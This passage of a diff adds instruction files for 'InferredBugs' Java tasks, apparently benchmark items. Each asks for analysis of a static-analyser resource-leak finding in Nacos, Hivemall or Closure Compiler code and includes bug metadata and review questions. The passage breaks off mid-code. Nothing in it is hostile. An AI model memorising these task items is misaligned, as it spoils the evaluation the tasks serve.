+import static org.apache.commons.lang3.CharEncoding.UTF_8;
+
+/**
+ * @author nacos
+ */
+public class SystemUtils {
+
+    private static final Logger logger = LoggerFactory.getLogger(SystemUtils.class);
+
+    /**
+     * Standalone mode or not
+     */
+    public static boolean STANDALONE_MODE = Boolean.getBoolean(STANDALONE_MODE_PROPERTY_NAME);
+
+    public static final String STANDALONE_MODE_ALONE = "standalone";
+    public static final String STANDALONE_MODE_CLUSTER = "cluster";
+
+    /**
+     * server
+     */
+    public static String FUNCTION_MODE = System.getProperty(FUNCTION_MODE_PROPERTY_NAME);
+
+    public static final String FUNCTION_MODE_CONFIG = "config";
+    public static final String FUNCTION_MODE_NAMING = "naming";
+
+
+
+    private static OperatingSystemMXBean operatingSystemMXBean = (OperatingSystemMXBean)ManagementFactory
+        .getOperatingSystemMXBean();
+
+    /**
+     * nacos local ip
+     */
+    public static final String LOCAL_IP = InetUtils.getSelfIp();
+
+
+    /**
+     * The key of nacos home.
+     */
+    public static final String NACOS_HOME_KEY = "nacos.home";
+
+    /**
+     * The home of nacos.
+     */
+    public static final String NACOS_HOME = getNacosHome();
+
+    /**
+     * The file path of cluster conf.
+     */
+    public static final String CLUSTER_CONF_FILE_PATH = getClusterConfFilePath();
+
+    public static List<String> getIPsBySystemEnv(String key) {
+        String env = getSystemEnv(key);
+        List<String> ips = new ArrayList<String>();
+        if (StringUtils.isNotEmpty(env)) {
+            ips = Arrays.asList(env.split(","));
+        }
+        return ips;
+    }
+
+    public static String getSystemEnv(String key) {
+        return System.getenv(key);
+    }
+
+    public static float getLoad() {
+        return (float)operatingSystemMXBean.getSystemLoadAverage();
+    }
+
+    public static float getCPU() {
+        return (float)operatingSystemMXBean.getSystemCpuLoad();
+    }
+
+    public static float getMem() {
+        return (float)(1 - (double)operatingSystemMXBean.getFreePhysicalMemorySize() / (double)operatingSystemMXBean
+            .getTotalPhysicalMemorySize());
+    }
+
+    private static String getNacosHome() {
+        String nacosHome = System.getProperty(NACOS_HOME_KEY);
+        if (StringUtils.isBlank(nacosHome)) {
+            nacosHome = System.getProperty("user.home") + File.separator + "nacos";
+        }
+        return nacosHome;
+    }
+
+    public static String getConfFilePath() {
+        return NACOS_HOME + File.separator + "conf" + File.separator;
+    }
+
+    private static String getClusterConfFilePath() {
+        return NACOS_HOME + File.separator + "conf" + File.separator + "cluster.conf";
+    }
+
+    public static List<String> readClusterConf() throws IOException {
+        List<String> instanceList = new ArrayList<String>();
+        List<String> lines = IoUtils.readLines(
+                new InputStreamReader(new FileInputStream(new File(CLUSTER_CONF_FILE_PATH)), UTF_8));
+        String comment = "#";
+        for (String line : lines) {
+            String instance = line.trim();
+            if (instance.startsWith(comment)) {
+                // # it is ip
+                continue;
+            }
+            if (instance.contains(comment)) {
+                // 192.168.71.52:8848 # Instance A
+                instance = instance.substring(0, instance.indexOf(comment));
+                instance = instance.trim();
+            }
+            instanceList.add(instance);
+        }
+        return instanceList;
+    }
+
+    public static void writeClusterConf(String content) throws IOException {
+        IoUtils.writeStringToFile(new File(CLUSTER_CONF_FILE_PATH), content, UTF_8);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `InputStreamReader(...)` at line 131 is not released after line 131.
+**Note**: potential exception at line 131
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+List SystemUtils.readClusterConf()
+
+### Procedure Id:
+com.alibaba.nacos.core.utils.SystemUtils.readClusterConf():java.util.List.32b396c80804686fddf85f912a4afbc4
+
+### File:
+core/src/main/java/com/alibaba/nacos/core/utils/SystemUtils.java
+
+### Key:
+SystemUtils.java|readClusterConf|RESOURCE_LEAK
+
+### Node Key:
+363a9f02f71fad6d47ebbde60383762f
+
+### Hash:
+648489b611a8bc5ea004bdaf156c7d99
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5153/instruction.md b/inferredbugs-5153/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..87f896ef93c423a0feaec6105cd5a8e63360e762
--- /dev/null
+++ b/inferredbugs-5153/instruction.md
@@ -0,0 +1,391 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** incubator-hivemall
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Hivemall: Hive scalable Machine Learning Library
+ *
+ * Copyright (C) 2013-2014
+ *   National Institute of Advanced Industrial Science and Technology (AIST)
+ *   Registration Number: H25PRO-1520
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+package hivemall;
+
+import static org.apache.hadoop.hive.serde2.objectinspector.primitive.PrimitiveObjectInspectorFactory.writableFloatObjectInspector;
+import hivemall.io.DenseModel;
+import hivemall.io.PredictionModel;
+import hivemall.io.SpaceEfficientDenseModel;
+import hivemall.io.SparseModel;
+import hivemall.io.SynchronizedModelWrapper;
+import hivemall.io.WeightValue;
+import hivemall.io.WeightValue.WeightValueWithCovar;
+import hivemall.mix.MixMessage.MixEventName;
+import hivemall.mix.client.MixClient;
+import hivemall.utils.datetime.StopWatch;
+import hivemall.utils.hadoop.HadoopUtils;
+import hivemall.utils.hadoop.HiveUtils;
+import hivemall.utils.io.IOUtils;
+import hivemall.utils.lang.Primitives;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+import org.apache.commons.cli.CommandLine;
+import org.apache.commons.cli.Options;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+import org.apache.hadoop.hive.ql.exec.UDFArgumentException;
+import org.apache.hadoop.hive.ql.metadata.HiveException;
+import org.apache.hadoop.hive.serde2.SerDeException;
+import org.apache.hadoop.hive.serde2.lazy.LazySimpleSerDe;
+import org.apache.hadoop.hive.serde2.objectinspector.ObjectInspector;
+import org.apache.hadoop.hive.serde2.objectinspector.PrimitiveObjectInspector;
+import org.apache.hadoop.hive.serde2.objectinspector.StructField;
+import org.apache.hadoop.hive.serde2.objectinspector.StructObjectInspector;
+import org.apache.hadoop.hive.serde2.objectinspector.primitive.FloatObjectInspector;
+import org.apache.hadoop.hive.serde2.objectinspector.primitive.WritableFloatObjectInspector;
+import org.apache.hadoop.io.Text;
+
+public abstract class LearnerBaseUDTF extends UDTFWithOptions {
+    private static final Log logger = LogFactory.getLog(LearnerBaseUDTF.class);
+
+    protected String preloadedModelFile;
+    protected boolean dense_model;
+    protected int model_dims;
+    protected boolean disable_halffloat;
+    protected String mixConnectInfo;
+    protected String mixSessionName;
+    protected int mixThreshold;
+    protected boolean ssl;
+
+    protected MixClient mixClient;
+
+    public LearnerBaseUDTF() {}
+
+    protected boolean useCovariance() {
+        return false;
+    }
+
+    @Override
+    protected Options getOptions() {
+        Options opts = new Options();
+        opts.addOption("loadmodel", true, "Model file name in the distributed cache");
+        opts.addOption("dense", "densemodel", false, "Use dense model or not");
+        opts.addOption("dims", "feature_dimensions", true, "The dimension of model [default: 16777216 (2^24)]");
+        opts.addOption("disable_halffloat", false, "Toggle this option to disable the use of SpaceEfficientDenseModel");
+        opts.addOption("mix", "mix_servers", true, "Comma separated list of MIX servers");
+        opts.addOption("mix_session", "mix_session_name", true, "Mix session name [default: ${mapred.job.id}]");
+        opts.addOption("mix_threshold", true, "Threshold to mix local updates in range (0,127] [default: 3]");
+        opts.addOption("ssl", false, "Use SSL for the communication with mix servers");
+        return opts;
+    }
+
+    @Nullable
+    @Override
+    protected CommandLine processOptions(@Nonnull ObjectInspector[] argOIs) throws UDFArgumentException {
+        String modelfile = null;
+        boolean denseModel = false;
+        int modelDims = -1;
+        boolean disableHalfFloat = false;
+        String mixConnectInfo = null;
+        String mixSessionName = null;
+        int mixThreshold = -1;
+        boolean ssl = false;
+
+        CommandLine cl = null;
+        if(argOIs.length >= 3) {
+            String rawArgs = HiveUtils.getConstString(argOIs[2]);
+            cl = parseOptions(rawArgs);
+
+            modelfile = cl.getOptionValue("loadmodel");
+
+            denseModel = cl.hasOption("dense");
+            if(denseModel) {
+                modelDims = Primitives.parseInt(cl.getOptionValue("dims"), 16777216);
+            }
+
+            disableHalfFloat = cl.hasOption("disable_halffloat");
+
+            mixConnectInfo = cl.getOptionValue("mix");
+            mixSessionName = cl.getOptionValue("mix_session");
+            mixThreshold = Primitives.parseInt(cl.getOptionValue("mix_threshold"), 3);
+            if(mixThreshold > Byte.MAX_VALUE) {
+                throw new UDFArgumentException("mix_threshold must be in range (0,127]: "
+                        + mixThreshold);
+            }
+            ssl = cl.hasOption("ssl");
+        }
+
+        this.preloadedModelFile = modelfile;
+        this.dense_model = denseModel;
+        this.model_dims = modelDims;
+        this.disable_halffloat = disableHalfFloat;
+        this.mixConnectInfo = mixConnectInfo;
+        this.mixSessionName = mixSessionName;
+        this.mixThreshold = mixThreshold;
+        this.ssl = ssl;
+        return cl;
+    }
+
+    protected PredictionModel createModel() {
+        return createModel(null);
+    }
+
+    protected PredictionModel createModel(String label) {
+        PredictionModel model;
+        final boolean useCovar = useCovariance();
+        if(dense_model) {
+            if(disable_halffloat == false && model_dims > 16777216) {
+                logger.info("Build a space efficient dense model with " + model_dims
+                        + " initial dimensions" + (useCovar ? " w/ covariances" : ""));
+                model = new SpaceEfficientDenseModel(model_dims, useCovar);
+            } else {
+                logger.info("Build a dense model with initial with " + model_dims
+                        + " initial dimensions" + (useCovar ? " w/ covariances" : ""));
+                model = new DenseModel(model_dims, useCovar);
+            }
+        } else {
+            int initModelSize = getInitialModelSize();
+            logger.info("Build a sparse model with initial with " + initModelSize
+                    + " initial dimensions");
+            model = new SparseModel(initModelSize, useCovar);
+        }
+        if(mixConnectInfo != null) {
+            model.configureClock();
+            model = new SynchronizedModelWrapper(model);
+            MixClient client = configureMixClient(mixConnectInfo, label, model);
+            model.setUpdateHandler(client);
+            this.mixClient = client;
+        }
+        assert (model != null);
+        return model;
+    }
+
+    protected MixClient configureMixClient(String connectURIs, String label, PredictionModel model) {
+        assert (connectURIs != null);
+        assert (model != null);
+        String jobId = (mixSessionName == null) ? MixClient.DUMMY_JOB_ID : mixSessionName;
+        if(label != null) {
+            jobId = jobId + '-' + label;
+        }
+        MixEventName event = useCovariance() ? MixEventName.argminKLD : MixEventName.average;
+        MixClient client = new MixClient(event, jobId, connectURIs, ssl, mixThreshold, model);
+        logger.info("Successfully configured mix client: " + connectURIs);
+        return client;
+    }
+
+    protected int getInitialModelSize() {
+        return 16384;
+    }
+
+    protected void loadPredictionModel(PredictionModel model, String filename, PrimitiveObjectInspector keyOI) {
+        final StopWatch elapsed = new StopWatch();
+        final long lines;
+        try {
+            if(useCovariance()) {
+                lines = loadPredictionModel(model, new File(filename), keyOI, writableFloatObjectInspector, writableFloatObjectInspector);
+            } else {
+                lines = loadPredictionModel(model, new File(filename), keyOI, writableFloatObjectInspector);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException("Failed to load a model: " + filename, e);
+        } catch (SerDeException e) {
+            throw new RuntimeException("Failed to load a model: " + filename, e);
+        }
+        if(model.size() > 0) {
+            logger.info("Loaded " + model.size() + " features from distributed cache '" + filename
+                    + "' (" + lines + " lines) in " + elapsed);
+        }
+    }
+
+    private static long loadPredictionModel(PredictionModel model, File file, PrimitiveObjectInspector keyOI, WritableFloatObjectInspector valueOI)
+            throws IOException, SerDeException {
+        long count = 0L;
+        if(!file.exists()) {
+            return count;
+        }
+        if(!file.getName().endsWith(".crc")) {
+            if(file.isDirectory()) {
+                for(File f : file.listFiles()) {
+                    count += loadPredictionModel(model, f, keyOI, valueOI);
+                }
+            } else {
+                LazySimpleSerDe serde = HiveUtils.getKeyValueLineSerde(keyOI, valueOI);
+                StructObjectInspector lineOI = (StructObjectInspector) serde.getObjectInspector();
+                StructField keyRef = lineOI.getStructFieldRef("key");
+                StructField valueRef = lineOI.getStructFieldRef("value");
+                PrimitiveObjectInspector keyRefOI = (PrimitiveObjectInspector) keyRef.getFieldObjectInspector();
+                FloatObjectInspector varRefOI = (FloatObjectInspector) valueRef.getFieldObjectInspector();
+
+                final BufferedReader reader = HadoopUtils.getBufferedReader(file);
+                try {
+                    String line;
+                    while((line = reader.readLine()) != null) {
+                        count++;
+                        Text lineText = new Text(line);
+                        Object lineObj = serde.deserialize(lineText);
+                        List<Object> fields = lineOI.getStructFieldsDataAsList(lineObj);
+                        Object f0 = fields.get(0);
+                        Object f1 = fields.get(1);
+                        if(f0 == null || f1 == null) {
+                            continue; // avoid the case that key or value is null
+                        }
+                        Object k = keyRefOI.getPrimitiveWritableObject(keyRefOI.copyObject(f0));
+                        float v = varRefOI.get(f1);
+                        model.set(k, new WeightValue(v, false));
+                    }
+                } finally {
+                    reader.close();
+                }
+            }
+        }
+        return count;
+    }
+
+    private static long loadPredictionModel(PredictionModel model, File file, PrimitiveObjectInspector featureOI, WritableFloatObjectInspector weightOI, WritableFloatObjectInspector covarOI)
+            throws IOException, SerDeException {
+        long count = 0L;
+        if(!file.exists()) {
+            return count;
+        }
+        if(!file.getName().endsWith(".crc")) {
+            if(file.isDirectory()) {
+                for(File f : file.listFiles()) {
+                    count += loadPredictionModel(model, f, featureOI, weightOI, covarOI);
+                }
+            } else {
+                LazySimpleSerDe serde = HiveUtils.getLineSerde(featureOI, weightOI, covarOI);
+                StructObjectInspector lineOI = (StructObjectInspector) serde.getObjectInspector();
+                StructField c1ref = lineOI.getStructFieldRef("c1");
+                StructField c2ref = lineOI.getStructFieldRef("c2");
+                StructField c3ref = lineOI.getStructFieldRef("c3");
+                PrimitiveObjectInspector c1oi = (PrimitiveObjectInspector) c1ref.getFieldObjectInspector();
+                FloatObjectInspector c2oi = (FloatObjectInspector) c2ref.getFieldObjectInspector();
+                FloatObjectInspector c3oi = (FloatObjectInspector) c3ref.getFieldObjectInspector();
+
+                final BufferedReader reader = HadoopUtils.getBufferedReader(file);
+                try {
+                    String line;
+                    while((line = reader.readLine()) != null) {
+                        count++;
+                        Text lineText = new Text(line);
+                        Object lineObj = serde.deserialize(lineText);
+                        List<Object> fields = lineOI.getStructFieldsDataAsList(lineObj);
+                        Object f0 = fields.get(0);
+                        Object f1 = fields.get(1);
+                        Object f2 = fields.get(2);
+                        if(f0 == null || f1 == null) {
+                            continue; // avoid unexpected case
+                        }
+                        Object k = c1oi.getPrimitiveWritableObject(c1oi.copyObject(f0));
+                        float v = c2oi.get(f1);
+                        float cov = (f2 == null) ? WeightValueWithCovar.DEFAULT_COVAR
+                                : c3oi.get(f2);
+                        model.set(k, new WeightValueWithCovar(v, cov, false));
+                    }
+                } finally {
+                    reader.close();
+                }
+            }
+        }
+        return count;
+    }
+
+    @Override
+    public void close() throws HiveException {
+        if(mixClient != null) {
+            IOUtils.closeQuietly(mixClient);
+            this.mixClient = null;
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `hivemall.utils.hadoop.HadoopUtils$BufferedReaderExt` acquired by call to `getBufferedReader(...)` at line 280 is not released after line 301.
+**Note**: potential exception at line 283
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+long LearnerBaseUDTF.loadPredictionModel(PredictionModel,File,PrimitiveObjectInspector,WritableFloatObjectInspector,WritableFloatObjectInspector)
+
+### Procedure Id:
+hivemall.LearnerBaseUDTF.loadPredictionModel(hivemall.io.PredictionModel,java.io.File,org.apache.had.d949e232eb3b90d36e3f7805d7f6ea52
+
+### File:
+src/main/hivemall/LearnerBaseUDTF.java
+
+### Key:
+LearnerBaseUDTF.java|loadPredictionModel|RESOURCE_LEAK
+
+### Node Key:
+03cb3f6fe76fbfd897ab6744ebbe4742
+
+### Hash:
+b6deb04d4144f4db147ebd6f9c6b6876
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5198/instruction.md b/inferredbugs-5198/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8a3d0cc23a52a1d72759ac84a24a14250a6b202d
--- /dev/null
+++ b/inferredbugs-5198/instruction.md
@@ -0,0 +1,973 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-compiler
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 The Closure Compiler Authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.javascript.jscomp;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ArrayListMultimap;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Multimap;
+import com.google.common.collect.Sets;
+import com.google.javascript.jscomp.DefinitionsRemover.Definition;
+import com.google.javascript.jscomp.Scope.Var;
+import com.google.javascript.rhino.Node;
+import com.google.javascript.rhino.Token;
+
+import java.util.*;
+
+/**
+ * Garbage collection for variable and function definitions. Basically performs
+ * a mark-and-sweep type algorithm over the javascript parse tree.
+ *
+ * For each scope:
+ * (1) Scan the variable/function declarations at that scope.
+ * (2) Traverse the scope for references, marking all referenced variables.
+ *     Unlike other compiler passes, this is a pre-order traversal, not a
+ *     post-order traversal.
+ * (3) If the traversal encounters an assign without other side-effects,
+ *     create a continuation. Continue the continuation iff the assigned
+ *     variable is referenced.
+ * (4) When the traversal completes, remove all unreferenced variables.
+ *
+ * If it makes it easier, you can think of the continuations of the traversal
+ * as a reference graph. Each continuation represents a set of edges, where the
+ * source node is a known variable, and the destination nodes are lazily
+ * evaluated when the continuation is executed.
+ *
+ * This algorithm is similar to the algorithm used by {@code SmartNameRemoval}.
+ * {@code SmartNameRemoval} maintains an explicit graph of dependencies
+ * between global symbols. However, {@code SmartNameRemoval} cannot handle
+ * non-trivial edges in the reference graph ("A is referenced iff both B and C
+ * are referenced"), or local variables. {@code SmartNameRemoval} is also
+ * substantially more complicated because it tries to handle namespaces
+ * (which is largely unnecessary in the presence of {@code CollapseProperties}.
+ *
+ * This pass also uses a more complex analysis of assignments, where
+ * an assignment to a variable or a property of that variable does not
+ * necessarily count as a reference to that variable, unless we can prove
+ * that it modifies external state. This is similar to
+ * {@code FlowSensitiveInlineVariables}, except that it works for variables
+ * used across scopes.
+ *
+ */
+class RemoveUnusedVars
+    implements CompilerPass, OptimizeCalls.CallGraphCompilerPass {
+
+  private final AbstractCompiler compiler;
+
+  private final boolean removeGlobals;
+
+  private boolean preserveFunctionExpressionNames;
+
+  /**
+   * Keep track of variables that we've referenced.
+   */
+  private final Set<Var> referenced = Sets.newHashSet();
+
+  /**
+   * Keep track of variables that might be unreferenced.
+   */
+  private final List<Var> maybeUnreferenced = Lists.newArrayList();
+
+  /**
+   * Keep track of scopes that we've traversed.
+   */
+  private final List<Scope> allFunctionScopes = Lists.newArrayList();
+
+  /**
+   * Keep track of assigns to variables that we haven't referenced.
+   */
+  private final Multimap<Var, Assign> assignsByVar =
+      ArrayListMultimap.create();
+
+  /**
+   * The assigns, indexed by the NAME node that they assign to.
+   */
+  private final Map<Node, Assign> assignsByNode = Maps.newHashMap();
+
+  /**
+   * Keep track of continuations that are finished iff the variable they're
+   * indexed by is referenced.
+   */
+  private final Multimap<Var, Continuation> continuations =
+      ArrayListMultimap.create();
+
+  private boolean modifyCallSites;
+
+  private CallSiteOptimizer callSiteOptimizer;
+
+  RemoveUnusedVars(
+      AbstractCompiler compiler,
+      boolean removeGlobals,
+      boolean preserveFunctionExpressionNames,
+      boolean modifyCallSites) {
+    this.compiler = compiler;
+    this.removeGlobals = removeGlobals;
+    this.preserveFunctionExpressionNames = preserveFunctionExpressionNames;
+    this.modifyCallSites = modifyCallSites;
+  }
+
+  /**
+   * Traverses the root, removing all unused variables. Multiple traversals
+   * may occur to ensure all unused variables are removed.
+   */
+  public void process(Node externs, Node root) {
+    SimpleDefinitionFinder defFinder = null;
+    if (modifyCallSites) {
+      // For testing, allow the SimpleDefinitionFinder to be build now.
+      defFinder = new SimpleDefinitionFinder(compiler);
+      defFinder.process(externs, root);
+    }
+    process(externs, root, defFinder);
+  }
+
+  @Override
+  public void process(
+      Node externs, Node root, SimpleDefinitionFinder defFinder) {
+    if (modifyCallSites) {
+      Preconditions.checkNotNull(defFinder);
+      callSiteOptimizer = new CallSiteOptimizer(compiler, defFinder);
+    }
+    traverseAndRemoveUnusedReferences(root);
+  }
+
+  /**
+   * Traverses a node recursively. Call this once per pass.
+   */
+  private void traverseAndRemoveUnusedReferences(Node root) {
+    Scope scope = new SyntacticScopeCreator(compiler).createScope(root, null);
+    traverseNode(root, null, scope);
+
+    if (removeGlobals) {
+      collectMaybeUnreferencedVars(scope);
+    }
+
+    interpretAssigns();
+    removeUnreferencedVars();
+    for (Scope fnScope : allFunctionScopes) {
+      removeUnreferencedFunctionArgs(fnScope);
+    }
+  }
+
+  /**
+   * Traverses everything in the current scope and marks variables that
+   * are referenced.
+   *
+   * During traversal, we identify subtrees that will only be
+   * referenced if their enclosing variables are referenced. Instead of
+   * traversing those subtrees, we create a continuation for them,
+   * and traverse them lazily.
+   */
+  private void traverseNode(Node n, Node parent, Scope scope) {
+    int type = n.getType();
+    Var var = null;
+    switch (type) {
+      case Token.FUNCTION:
+        // If this function is a removable var, then create a continuation
+        // for it instead of traversing immediately.
+        if (NodeUtil.isFunctionDeclaration(n)) {
+          var = scope.getVar(n.getFirstChild().getString());
+        }
+
+        if (var != null && isRemovableVar(var)) {
+          continuations.put(var, new Continuation(n, scope));
+        } else {
+          traverseFunction(n, scope);
+        }
+        return;
+
+      case Token.ASSIGN:
+        Assign maybeAssign = Assign.maybeCreateAssign(n);
+        if (maybeAssign != null) {
+          // Put this in the assign map. It might count as a reference,
+          // but we won't know that until we have an index of all assigns.
+          var = scope.getVar(maybeAssign.nameNode.getString());
+          if (var != null) {
+            assignsByVar.put(var, maybeAssign);
+            assignsByNode.put(maybeAssign.nameNode, maybeAssign);
+
+            if (isRemovableVar(var) &&
+                !maybeAssign.mayHaveSecondarySideEffects) {
+              // If the var is unreferenced and performing this assign has
+              // no secondary side effects, then we can create a continuation
+              // for it instead of traversing immediately.
+              continuations.put(var, new Continuation(n, scope));
+              return;
+            }
+          }
+        }
+        break;
+
+      case Token.NAME:
+        var = scope.getVar(n.getString());
+        if (parent.getType() == Token.VAR) {
+          Node value = n.getFirstChild();
+          if (value != null && var != null && isRemovableVar(var) &&
+              !NodeUtil.mayHaveSideEffects(value)) {
+            // If the var is unreferenced and creating its value has no side
+            // effects, then we can create a continuation for it instead
+            // of traversing immediately.
+            continuations.put(var, new Continuation(n, scope));
+            return;
+          }
+        } else {
+          // All name references that aren't declarations or assigns
+          // are references to other vars.
+          if (var != null) {
+            // If that var hasn't already been marked referenced, then
+            // start tracking it.  If this is an assign, do nothing
+            // for now.
+            if (isRemovableVar(var)) {
+              if (!assignsByNode.containsKey(n)) {
+                markReferencedVar(var);
+              }
+            } else {
+              markReferencedVar(var);
+            }
+          }
+        }
+        break;
+    }
+
+    for (Node c = n.getFirstChild(); c != null; c = c.getNext()) {
+      traverseNode(c, n, scope);
+    }
+  }
+
+  private boolean isRemovableVar(Var var) {
+    // Global variables are off-limits if the user might be using them.
+    if (!removeGlobals && var.isGlobal()) {
+      return false;
+    }
+
+    // Referenced variables are off-limits.
+    if (referenced.contains(var)) {
+      return false;
+    }
+
+    // Exported variables are off-limits.
+    if (compiler.getCodingConvention().isExported(var.getName())) {
+      return false;
+    }
+
+    return true;
+  }
+
+  /**
+   * Traverses a function, which creates a new scope in javascript.
+   *
+   * Note that CATCH blocks also create a new scope, but only for the
+   * catch variable. Declarations within the block actually belong to the
+   * enclosing scope. Because we don't remove catch variables, there's
+   * no need to treat CATCH blocks differently like we do functions.
+   */
+  private void traverseFunction(Node n, Scope parentScope) {
+    Preconditions.checkState(n.getChildCount() == 3);
+    Preconditions.checkState(n.getType() == Token.FUNCTION);
+
+    final Node body = n.getLastChild();
+    Preconditions.checkState(body.getNext() == null &&
+            body.getType() == Token.BLOCK);
+
+    Scope fnScope =
+        new SyntacticScopeCreator(compiler).createScope(n, parentScope);
+    traverseNode(body, n, fnScope);
+
+    collectMaybeUnreferencedVars(fnScope);
+    allFunctionScopes.add(fnScope);
+  }
+
+  /**
+   * For each variable in this scope that we haven't found a reference
+   * for yet, add it to the list of variables to check later.
+   */
+  private void collectMaybeUnreferencedVars(Scope scope) {
+    for (Iterator<Var> it = scope.getVars(); it.hasNext(); ) {
+      Var var = it.next();
+      if (isRemovableVar(var)) {
+        maybeUnreferenced.add(var);
+      }
+    }
+  }
+
+  /**
+   * Removes unreferenced arguments from a function declaration and when
+   * possible the function's callSites.
+   *
+   * @param fnScope The scope inside the function
+   */
+  private void removeUnreferencedFunctionArgs(Scope fnScope) {
+    // TODO(johnlenz): Update type registry for function signature changes.
+
+    Node function = fnScope.getRootNode();
+    Preconditions.checkState(function.getType() == Token.FUNCTION);
+    if (NodeUtil.isGetOrSetKey(function.getParent())) {
+      // The parameters object literal setters can not be removed.
+      return;
+    }
+
+    Node argList = getFunctionArgList(function);
+    boolean modifyCallers = modifyCallSites
+        && callSiteOptimizer.canModifyCallers(function);
+    if (!modifyCallers) {
+      // Strip unreferenced args off the end of the function declaration.
+      Node lastArg;
+      while ((lastArg = argList.getLastChild()) != null) {
+        Var var = fnScope.getVar(lastArg.getString());
+        if (!referenced.contains(var)) {
+          Preconditions.checkNotNull(var == null);
+          argList.removeChild(lastArg);
+          compiler.reportCodeChange();
+        } else {
+          break;
+        }
+      }
+    } else {
+      callSiteOptimizer.optimize(fnScope, referenced);
+    }
+  }
+
+
+  /**
+   * @return the LP node containing the function parameters.
+   */
+  private static Node getFunctionArgList(Node function) {
+    return function.getFirstChild().getNext();
+  }
+
+  private static class CallSiteOptimizer {
+    private final AbstractCompiler compiler;
+    private final SimpleDefinitionFinder defFinder;
+
+    CallSiteOptimizer(
+        AbstractCompiler compiler,
+        SimpleDefinitionFinder defFinder) {
+      this.compiler = compiler;
+      this.defFinder = defFinder;
+    }
+
+    public void optimize(Scope fnScope, Set<Var> referenced) {
+      Node function = fnScope.getRootNode();
+      Preconditions.checkState(function.getType() == Token.FUNCTION);
+      Node argList = getFunctionArgList(function);
+
+      // In this path we try to modify all the call sites to remove unused
+      // function parameters.
+      boolean changeCallSignature = canChangeSignature(function);
+      removeUnreferencedFunctionArgs(
+          fnScope, function, referenced,
+          argList.getFirstChild(), 0, changeCallSignature);
+    }
+
+    /**
+     * For each unused function parameter, determine if it can be removed
+     * from all the call sites, if so, remove it from the function signature
+     * and the call sites otherwise replace the unused value where possible
+     * with a constant (0).
+     *
+     * @param scope The function scope
+     * @param function The function
+     * @param param The current parameter node in the parameter list.
+     * @param paramIndex The index of the current parameter
+     * @param canChangeSignature Whether function signature can be change.
+     * @return Whether there is a following function parameter.
+     */
+    private boolean removeUnreferencedFunctionArgs(
+        Scope scope, Node function, Set<Var> referenced,
+        Node param, int paramIndex,
+        boolean canChangeSignature) {
+      if (param != null) {
+        // Take care of the following siblings first.
+        boolean hasFollowing = removeUnreferencedFunctionArgs(
+            scope, function, referenced, param.getNext(), paramIndex+1,
+            canChangeSignature);
+
+        Var var = scope.getVar(param.getString());
+        if (!referenced.contains(var)) {
+          Preconditions.checkNotNull(var);
+
+          // Remove call parameter if we can generally change the signature
+          // or if it is the last parameter in the parameter list.
+          boolean modifyAllCallSites = canChangeSignature || !hasFollowing;
+          if (modifyAllCallSites) {
+            modifyAllCallSites = canRemoveArgFromCallSites(
+                function, paramIndex);
+          }
+
